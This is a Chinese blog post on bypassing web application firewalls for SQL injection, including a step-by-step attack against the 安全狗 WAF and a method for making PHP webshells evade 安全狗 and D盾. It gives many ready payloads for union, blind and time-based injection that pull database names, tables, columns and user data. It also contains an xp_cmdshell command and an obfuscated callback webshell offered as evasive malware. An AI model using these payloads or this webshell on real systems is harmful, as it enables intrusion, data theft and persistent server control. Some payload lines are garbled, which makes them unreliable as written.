SQL注入花式绕过

Web应用程序防火墙(WAF)的主要作用是过滤,监控和阻止各类进出Web应用程序的HTTP流量。WAF区别于常规防火墙,因为WAF能够过滤特定Web应用程序的内容,而常规防火墙充当的则是服务器之间的安全门。通过检查HTTP流量,它可以防止源自Web应用安全漏洞的攻击,如SQL注入,XSS,文件包含和安全配置错误。

WAF是如何工作的?

  • 协议异常检测:拒绝不符合HTTP标准的请求

  • 增强的输入验证:代理和服务器端验证,而不仅仅是客户端验证

  • 白名单和黑名单

  • 基于规则和基于异常的保护:基于规则的更依赖黑名单机制,基于异常则更灵活

  • 状态管理:关注会话保护还有:Cookie保护,反入侵规避技术,响应监控和信息披露保护。

如何绕过WAF?

1.当我们在目标URL进行SQL注入测试时,可以通过修改注入语句中字母的大小写来触发WAF保护情况。如果WAF使用区分大小写的黑名单,则更改大小写可能会帮我们成功绕过WAF的过滤。

http://target.com/index.php?page_id=-15 uNIoN sELecT 1,2,3,4

2.关键字替换(在关键字中间可插入将会被WAF过滤的字符) – 例如SELECT可插入变成SEL<ECT,一旦插入字符被过滤,它将作为SELECT传递。

http://target.com/index.php?page_id=-15&nbsp;UNIunionON SELselectECT 1,2,3,4

3.编码

+ URL encode

page.php?id=1%252f%252a*/UNION%252f%252a /SELECT

+Hex encode

target.com/index.php?page_id=-15 /*!u%6eion*/ /*!se%6cect*/ 1,2,3,4…
 
   SELECT(extractvalue(0x3C613E61646D696E3C2F613E,0x2f61))

+Unicode encode

?id=10%D6‘%20AND%201=2%23  
 
   SELECT 'Ä'='A'; #1

4.使用注释

在攻击字符串中插入注释。例如,/*!SELECT*/ 这样WAF可能就会忽略该字符串,但它仍会被传递给目标应用程序并交由mysql数据库处理。

index.php?page_id=-15 %55nION/**/%53ElecT 1,2,3,4   
 
   'union%a0select pass from users#

index.php?page_id=-15 /*!UNION*/ /*!SELECT*/ 1,2,3
 
   ?page_id=null%0A/**//*!50000%55nIOn*//*yoyu*/all/**/%0A/*!%53eLEct*/%0A/*nnaa*/+1,2,3,4…

5.某些函数或命令,因为WAF的过滤机制导致我们无法使用。那么,我们也可以尝试用一些等价函数来替代它们。

hex()、bin() ==> ascii()
 
sleep() ==>benchmark()
 
concat_ws()==>group_concat()
 substr((select 'password'),1,1) = 0x70
    strcmp(left('password',1), 0x69) = 1
      strcmp(left('password',1), 0x70) = 0
    strcmp(left('password',1), 0x71) = -1mid()、substr() ==> substring()
 
@@user ==> user()
 
@@datadir ==> datadir()

6.使用特殊符号

这里我把非字母数字的字符都规在了特殊符号一类,特殊符号有特殊的含义和用法。

+ ` symbol: select `version()`;
+ +- :select+id-1+1.from users;
+ @:select@^1.from users;
+Mysql function() as xxx
+`、~、!、@、%、()、[]、.、-、+ 、|、%00

示例

‘se’+’lec’+’t’
 
      %S%E%L%E%C%T 1
       1.aspx?id=1;EXEC(‘ma’+'ster..x’+'p_cm’+'dsh’+'ell ”net user”’)' or --+2=- -!!!'2
 
     id=1+(UnI)(oN)+(SeL)(EcT)

7.HTTP参数控制

通过提供多个参数=相同名称的值集来混淆WAF。例如 http://example.com?id=1&?id=’ or ‘1’=’1′ — ‘在某些情况下(例如使用Apache/PHP),应用程序将仅解析最后(第二个) id= 而WAF只解析第一个。在应用程序看来这似乎是一个合法的请求,因此应用程序会接收并处理这些恶意输入。如今,大多数的WAF都不会受到HTTP参数污染(HPP)的影响,但仍然值得一试。

+ HPP(HTTP Parameter Polution))

/?id=1;select+1,2,3+from+users+where+id=1—
 
   /?id=1;select+1&amp;id=2,3+from+users+where+id=1—
 
   /?id=1/**/union/*&amp;id=*/select/*&amp;id=*/pwd/*&amp;id=*/from/*&amp;id=*/users

HPP又称做重复参数污染,最简单的就是?uid=1&uid=2&uid=3,对于这种情况,不同的Web服务器处理方式如下:

+HPF (HTTP Parameter Fragment)

这种方法是HTTP分割注入,同CRLF有相似之处(使用控制字符%0a、%0d等执行换行)

/?a=1+union/*&amp;b=*/select+1,pass/*&amp;c=*/from+users--
   select * from table where a=1 union/* and b=*/select 1,pass/* limit */from users—

+HPC (HTTP Parameter Contamination)

RFC2396定义了以下字符:

Unreserved: a-z, A-Z, 0-9 and _ . ! ~ * ' ()
Reserved : ; / ? : @ &amp; = + $ ,
Unwise : { } | \ ^ [ ] `

不同的Web服务器处理处理构造得特殊请求时有不同的逻辑:

 

 

以魔术字符%为例,Asp/Asp.net会受到影响

 

8.缓冲区溢出

WAF和其他所有的应用程序一样也存在着各种缺陷和漏洞。如果出现缓冲区溢出的情况,那么WAF可能就会崩溃,即使不能代码执行那也会使WAF无法正常运行。这样,WAF的安全防护自然也就被瓦解了。

?id=1 and (select 1)=(Select 0xA*1000)+UnIoN+SeLeCT+1,2,version(),4,5,database(),user(),8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26

9.整合绕过

当使用单一的方式无法绕过时,我们则可以灵活的将多种方式结合在一起尝试。

target.com/index.php?page_id=-15+and+(select 1)=(Select 0xAA[..(add about 1000 "A")..])+/*!uNIOn*/+/*!SeLECt*/+1,2,3,4… 
id=1/*!UnIoN*/+SeLeCT+1,2,concat(/*!table_name*/)+FrOM /*information_schema*/.tables /*!WHERE */+/*!TaBlE_ScHeMa*/+like+database()– -
 
?id=-725+/*!UNION*/+/*!SELECT*/+1,GrOUp_COnCaT(COLUMN_NAME),3,4,5+FROM+/*!INFORMATION_SCHEM*/.COLUMNS+WHERE+TABLE_NAME=0x41646d696e--


老司机带你过常规WAF

0x00 前言

最近看了不少关于WAF绕过的文章,想把理论深化到实践当中去,于是就有了您正在看的这篇文章,这篇文章分为两大部分,分别写的是SQL注入相关的WAF绕过和一句话木马免杀相关的WAF绕过,本文用来做测试的WAF是安全狗(4.0最新版),在一句话木马免杀的章节也会提到一些绕过D盾的技巧。

 

0x01 绕过安全狗继续SQL注入

其实说白了,绕过WAF就是混淆你的SQL语句,让它以另一种方式呈现出来,以绕过WAF的黑名单正则表达式匹配,至于具体的混淆方法,网络上有很多的文章已经讲的够详细了,在这里我就直接进入实战环节,不在讲具体方法和原理。

测试环境:WIN10 + Apache +php5.4.45 + mysql5.5.53 + 安全狗4.0版本

测试代码(inject.php)如下:

  1. <?php

  2. $id = $_GET['id'];

  3. $con = mysql_connect("localhost","root","root");

  4. if (!$con){die('Could not connect: ' . mysql_error());}

  5. mysql_select_db("dvwa", $con);

  6. $query = "SELECT first_name,last_name FROM users WHERE user_id = '$id'; ";

  7. $result = mysql_query($query)or die('<pre>'.mysql_error().'</pre>');

  8. while($row = mysql_fetch_array($result))

  9. {

  10.  echo $row['0'] . "&nbsp" . $row['1'];

  11.  echo "<br />";

  12. }

  13. echo "<br/>";

  14. echo $query;

  15. mysql_close($con);

  16. ?>

首先是注入点测试:

直接上

  1.  and '1'='1

预料之内,果然被拦截,猜测可能是关键字and被过滤,修改and为&&,urlencode后为%26%26

成功绕过安全狗。

当然了,只能判断注入点是肯定没有任何任意的,下面我们来尝试用unionselect语句来提取一下数据,直接上union select语句肯定被拦截,我就不再截图了。

这里我们主要用的绕过方法是:

1.利用()代替空格

2.利用mysql特性/*!*/执行语句

3.利用/**/混淆代码

我给出的注入语句是:

50010是mysql的版本号,可以任意改为其他版本号

  1. 1' union/*%00*//*!50010select*/(database/**/()),(user/**/())%23

可以看到,成功注入没有拦截

这里要注意的几点是:

1.mysql关键字中是不能插入/**/的,即se/**/lect是会报错的,但是函数名和括号之间是可以加上/**/的,像database/**/()这样的代码是可以执行的

2./*!*/中间的代码是可以执行的,其中50010为mysql版本号,只要mysql大于这个版本就会执行里面的代码

3.数据或者函数周围可以无限嵌套()

4.利用好%00

 

同样的道理,我们可以利用上述方法爆出当前数据库的数据表:

当然,在真实环境下直接union select数据的注入点是非常少见的,还是盲注占多数,按照上面的思路方法我们可以非常轻松的测试出绕过安全狗的盲注语句,我测试了好长时间,总结出的语句如下:

  1. 判断: 1'/**/%26%261%3d2%23

  2. 判断列数: 1' order by 2%23

  3.  

  4. 关联查询爆出用户和数据库: 1%27%20union/*%00*//*!50010select*/(database/**/()),(user/**/())%23

  5. 关联查询爆出数据表: %27%20union/*%00*//*!50010select*/((group_concat(table_name))),null/**/from/**/((information_schema.TABLES))/**/where/**/TABLE_SCHEMA%3d(database/**/())%23

  6. 关联查询爆出字段值: %27%20union/*%00*//*!50010select*/((group_concat(COLUMN_NAME))),null/**/from/**/((information_schema.columns))/**/where/**/TABLE_NAME%3d%27users%27%23

  7. 关联查询提取数据: %27%20union/*%00*//*!50010select*/((group_concat(first_name))),null/**/from/**/((users))%23

  8.  

  9. 盲注爆出数据库: 1' and substr(database/**/(),1,1)%3d'1'%23

  10. 盲注爆出数据表: 1'/*%00*/and substr((/*!50010select*/((group_concat(table_name)))/**/from/**/((information_schema.TABLES))/**/where/**/TABLE_SCHEMA%3d(database/**/())),1,1)%3d'1'%23

  11. 盲注爆出字段值: 1'/*%00*/and substr((/*!50010select*/((group_concat(COLUMN_NAME)))/**/from/**/((information_schema.columns))/**/where/**/TABLE_NAME%3d%27users%27),1,1)%3d'1'%23

  12. 盲注提取数据: 1'/*%00*/and substr((/*!50010select*/((group_concat(first_name)))/**/from/**/((users))),1,1)%3d'1'%23

  13.  

  14. 基于时间的盲注爆出数据库: 1'/*%00*/and (select case when (substr(database/**/(),1,1) like 'd') then sleep/**/(3) else 0 end)%23

  15. 基于时间的盲注爆出数据表: 1'/*%00*/and (select case when (substr((/*!50010select*/((group_concat(table_name)))/**/from/**/((information_schema.TABLES))/**/where/**/TABLE_SCHEMA%3d(database/**/())),1,1) like 'd'then sleep/**/(3else 0 end)%23

  16. 基于时间的盲注爆出字段值: 1'/*%00*/and (select case when (substr((/*!50010select*/((group_concat(COLUMN_NAME)))/**/from/**/((information_schema.columns))/**/where/**/TABLE_NAME%3d%27users%27),1,1) like 'd') then sleep/**/(3) else 0 end)%23

  17. 基于时间的盲注提取数据: 1'/*%00*/and (select case when (substr((/*!50010select*/((group_concat(first_name)))/**/from/**/((users))),1,1) like 'd'then sleep/**/(3else 0 end)%23

上列的是关联查询注入、盲注、基于时间的盲注从获取数据库名一直到获取表名、字段名、数据值的所有过狗语句。

可以看到安全狗完全被Bypass:

 

 

当然了,绕过的方法还是非常多的,ske师傅提供了另一种奇葩的绕过思路:

  1. Union -> /*!Union/*/**/

  2. Select -> /*!/*!Select*/

  3. Database() -> /*!database/*/**//*!/*!()*/

使用这种方法SQL语句依然可以正确执行,而且会完美过狗!

但是这里比较坑的一点是安全狗3.5版本会拦截关键字information_schema,这样利用起来就比较麻烦了,不过私神还是提供了一种方法绕过:

当mysql版本>=5.6时,可以用如下语句代替:

  1. Select table_name from mysql.innodb_table_stats where database_name = database();

当然了,4.0版本还是非常容易绕过的!

思路总结:

1.构造利用sql语句

2.利用局部分析的方法判断被过滤的是哪些内容

3.分析过滤规则尝试绕过

 

0x02 绕过安全狗和D盾写入WebShell

对于免杀WebShell,给我最大启发的一篇文章还是phithon师傅写的一篇讲“回调后门”的文章,所谓的“回调后门”,其实就是找一个有回调函数参数的函数(似乎有点绕),具体细节在phithon师傅的这篇文章中已经讲的非常清楚了,如果有小白不理解的话,建议仔细阅读此文章链接之后再继续阅读下文。

链接如下:

https://www.leavesongs.com/PENETRATION/php-callback-backdoor.html

这篇文章思路特别好而且总结的很全,唯一的问题就是这篇文章是在三年前写的,文章中提供的WebShell已经能被主流的安全工具完美查杀,因此我们需要对文章中给出的WebShell进行改进。

我随便取了一个回调后门如下:

测试了一下,被安全狗完美拦截:

安全狗很容易绕过,只要把base64_decode()这个解密函数去掉就行了:

但是D盾还是完美查杀:

尝试创建一个类并利用构造函数赋值来混淆代码:

  1. <?php

  2. class test{

  3.  public $e;

  4.  function __construct()

  5.  {

  6.  $this->e = $_GET['e'];

  7.  }

  8. }

  9. $t = new test();

  10. $s=$_REQUEST['pass'];

  11. $arr=array($s,'test');

  12. uasort($arr,$t->e);

可以看到安全狗和D盾都已经查杀不出来了

当然了,这只是一种思路,我们还可以利用之前混淆SQL语法的思路来免杀webshell,即在代码中添加()和/**/

做测试的webshell如下:

混淆之后成功逃过D盾和安全狗的查杀:

注意这个代码比之前的多了一个()和一个/**/

 

最近在先知平台上还看到了一个用反序列化制作免杀WebShell的方法也很精巧,链接如下:

https://xianzhi.aliyun.com/forum/topic/2202

 

WebShell免杀思路总结:

1.输入点:把$_GET改为$_SERVER,或者用file_get_contents()函数以及include语句作为输入点

2.核心方法:利用有回调函数参数的函数作为代码执行的入口点

3.代码混淆:利用好()和/**/以及各种空白符,利用类的构造函数/析构函数




posted @ 2018-03-22 09:21  dajjjj  阅读(340)  评论(0)    收藏  举报